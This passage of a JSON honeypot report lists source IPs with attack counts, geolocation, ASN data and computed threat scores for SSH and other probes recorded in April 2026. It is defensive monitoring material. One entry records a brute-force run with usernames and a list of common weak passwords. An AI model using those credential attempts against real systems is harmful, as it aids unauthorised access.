      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T22:48:42.023000+00:00",
        "last_seen_30d": "2026-04-14T22:49:47.770000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "211.54.135.223": {
      "attack_count": 4,
      "first_seen": "2026-04-23T08:45:25.499Z",
      "last_seen": "2026-04-26T22:52:00.950Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T08:45:25.499000+00:00",
        "last_seen_30d": "2026-04-26T22:53:07.204000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.62.156.116": {
      "attack_count": 4,
      "first_seen": "2026-04-26T12:14:06.256Z",
      "last_seen": "2026-04-26T12:14:10.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 78.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 28,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T01:13:45+00:00",
        "last_seen_30d": "2026-04-30T11:59:10.448000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "64.62.156.125": {
      "attack_count": 4,
      "first_seen": "2026-04-09T15:22:18.997Z",
      "last_seen": "2026-04-09T15:22:23.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 84.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 15.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 29,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T03:53:32.568000+00:00",
        "last_seen_30d": "2026-04-30T05:08:04.828000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Tanner": 1
      }
    },
    "71.6.232.20": {
      "attack_count": 4,
      "first_seen": "2026-04-06T08:23:49.248Z",
      "last_seen": "2026-04-06T08:23:57.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 87.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T00:04:48.458000+00:00",
        "last_seen_30d": "2026-04-30T12:12:25.799000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Dionaea": 2
      }
    },
    "159.89.228.192": {
      "attack_count": 3,
      "first_seen": "2026-04-06T16:08:02.216Z",
      "last_seen": "2026-04-06T16:08:02.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T02:35:45+00:00",
        "last_seen_30d": "2026-04-06T16:09:08.158000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "176.65.139.25": {
      "attack_count": 3,
      "first_seen": "2026-04-11T20:47:27.934Z",
      "last_seen": "2026-04-11T20:48:33.837Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T02:13:27+00:00",
        "last_seen_30d": "2026-04-11T20:49:40.334000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 3,
        "Honeytrap": 2
      }
    },
    "182.23.36.166": {
      "attack_count": 3,
      "first_seen": "2026-04-02T21:29:28.715Z",
      "last_seen": "2026-04-02T21:30:33.938Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 4800,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T21:29:28.715000+00:00",
        "last_seen_30d": "2026-04-02T21:31:39.730000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "199.188.199.132": {
      "attack_count": 3,
      "first_seen": "2026-04-28T01:35:25.401Z",
      "last_seen": "2026-04-28T01:35:42.781Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        ""
      ],
      "passwords_attempted": [
        "id"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 62246,
      "as_org": "WJY Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:35:25.401000+00:00",
        "last_seen_30d": "2026-04-28T01:36:52.303000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 1
      }
    },
    "114.206.36.13": {
      "attack_count": 2,
      "first_seen": "2026-04-11T02:54:13.679Z",
      "last_seen": "2026-04-11T02:54:26.243Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dalseong-gun",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T02:54:13.679000+00:00",
        "last_seen_30d": "2026-04-11T02:55:30.924000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.222.72.111": {
      "attack_count": 2,
      "first_seen": "2026-04-02T09:38:42.261Z",
      "last_seen": "2026-04-02T09:38:55.510Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Brisbane",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:38:42.261000+00:00",
        "last_seen_30d": "2026-04-02T09:39:57.853000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.253.248.79": {
      "attack_count": 2,
      "first_seen": "2026-04-21T17:14:08.733Z",
      "last_seen": "2026-04-21T17:14:22.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jalandhar",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T17:14:08.733000+00:00",
        "last_seen_30d": "2026-04-21T17:15:24.986000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.222.210.98": {
      "attack_count": 2,
      "first_seen": "2026-04-30T02:43:44.124Z",
      "last_seen": "2026-04-30T02:43:57.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T02:43:44.124000+00:00",
        "last_seen_30d": "2026-04-30T02:44:59.873000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "144.31.234.20": {
      "attack_count": 2,
      "first_seen": "2026-04-03T21:37:55.311Z",
      "last_seen": "2026-04-03T21:37:55.692Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T21:37:55.311000+00:00",
        "last_seen_30d": "2026-04-11T21:56:21.552000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Tanner": 46,
        "Cowrie": 2
      }
    },
    "157.48.99.9": {
      "attack_count": 2,
      "first_seen": "2026-04-29T06:32:02.325Z",
      "last_seen": "2026-04-29T06:32:16.326Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:32:02.325000+00:00",
        "last_seen_30d": "2026-04-29T06:33:21.862000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.78.130.188": {
      "attack_count": 2,
      "first_seen": "2026-04-30T00:53:01.804Z",
      "last_seen": "2026-04-30T00:55:01.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 266279,
      "as_org": "QUALITY TELECOM LTDA",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T00:53:01.804000+00:00",
        "last_seen_30d": "2026-04-30T00:56:40.238000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "172.105.181.84": {
      "attack_count": 2,
      "first_seen": "2026-04-30T19:27:57.036Z",
      "last_seen": "2026-04-30T19:27:57.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:27:57.036000+00:00",
        "last_seen_30d": "2026-04-30T19:28:59.638000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "183.109.171.15": {
      "attack_count": 2,
      "first_seen": "2026-04-21T14:48:23.541Z",
      "last_seen": "2026-04-21T14:48:35.988Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jeonju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:48:23.541000+00:00",
        "last_seen_30d": "2026-04-21T14:49:40.143000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.10.113.214": {
      "attack_count": 2,
      "first_seen": "2026-04-04T13:01:00.133Z",
      "last_seen": "2026-04-04T13:01:00.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.7,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 2,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T13:01:00.133000+00:00",
        "last_seen_30d": "2026-04-05T14:54:27.672000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "38.207.238.93": {
      "attack_count": 2,
      "first_seen": "2026-04-29T20:06:45.699Z",
      "last_seen": "2026-04-29T20:06:59.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barinas",
      "asn": 272809,
      "as_org": "THUNDERNET, C.A.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T20:06:45.699000+00:00",
        "last_seen_30d": "2026-04-29T20:08:05.507000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.61.152.86": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:02:08.730Z",
      "last_seen": "2026-04-30T16:02:21.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Daharki",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:02:08.730000+00:00",
        "last_seen_30d": "2026-04-30T16:03:28.165000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.128.122": {
      "attack_count": 2,
      "first_seen": "2026-04-18T20:27:41.377Z",
      "last_seen": "2026-04-18T20:27:46.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T20:26:58.701000+00:00",
        "last_seen_30d": "2026-04-23T11:03:16.600000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2
      }
    },
    "47.115.169.200": {
      "attack_count": 2,
      "first_seen": "2026-04-03T01:50:59.676Z",
      "last_seen": "2026-04-03T01:50:59.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T01:50:59.676000+00:00",
        "last_seen_30d": "2026-04-03T01:52:00.934000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.79.154.86": {
      "attack_count": 2,
      "first_seen": "2026-04-16T08:14:06.727Z",
      "last_seen": "2026-04-16T08:14:19.909Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T08:14:06.727000+00:00",
        "last_seen_30d": "2026-04-16T08:15:30.149000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.164.130.55": {
      "attack_count": 2,
      "first_seen": "2026-04-10T05:29:08.989Z",
      "last_seen": "2026-04-10T05:29:39.412Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 62240,
      "as_org": "Clouvider Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:29:08.989000+00:00",
        "last_seen_30d": "2026-04-10T05:30:44.072000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.160.176.72": {
      "attack_count": 2,
      "first_seen": "2026-04-25T13:05:54.666Z",
      "last_seen": "2026-04-25T13:05:54.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:05:54.666000+00:00",
        "last_seen_30d": "2026-04-25T13:06:55.258000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.11.167.46": {
      "attack_count": 2,
      "first_seen": "2026-04-25T22:23:39.284Z",
      "last_seen": "2026-04-25T22:23:54.760Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 68.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 22,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T16:45:27.514000+00:00",
        "last_seen_30d": "2026-04-30T00:06:20.324000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 6,
        "Cowrie": 2
      }
    },
    "213.209.159.142": {
      "attack_count": 2138,
      "first_seen": "2026-04-15T21:48:15.824Z",
      "last_seen": "2026-04-25T16:58:09.109Z",
      "sessions": 428,
      "ports": [],
      "usernames_attempted": [
        "bardengineering",
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "password",
        "password123",
        "test123",
        "000000",
        "00000000",
        "007007",
        "0123456789",
        "101010",
        "102030",
        "1111",
        "11111",
        "111111",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 49.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3024,
        "days_active_30d": 11,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T21:48:15.824000+00:00",
        "last_seen_30d": "2026-04-25T16:59:16.982000+00:00",
